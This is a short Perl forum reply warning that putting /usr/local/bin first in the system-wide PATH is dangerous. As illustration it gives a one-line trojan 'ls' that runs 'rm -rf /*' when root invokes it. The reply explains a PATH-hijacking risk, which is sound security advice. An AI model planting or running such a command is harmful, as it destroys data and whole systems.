in reply to Re: My first USEFUL script!
in thread My first USEFUL script!
put /usr/local/bin as the first entry in PATH system-wide
This would be a really, really bad idea.
joe_user:~$ echo '[ "$UID" = 0 ] && rm -rf /* || /bin/ls "$@"' > /usr/ +local/bin/ls; chmod +x /usr/local/bin/ls
The next time that root runs 'ls', the system is gone.
In Section
Seekers of Perl Wisdom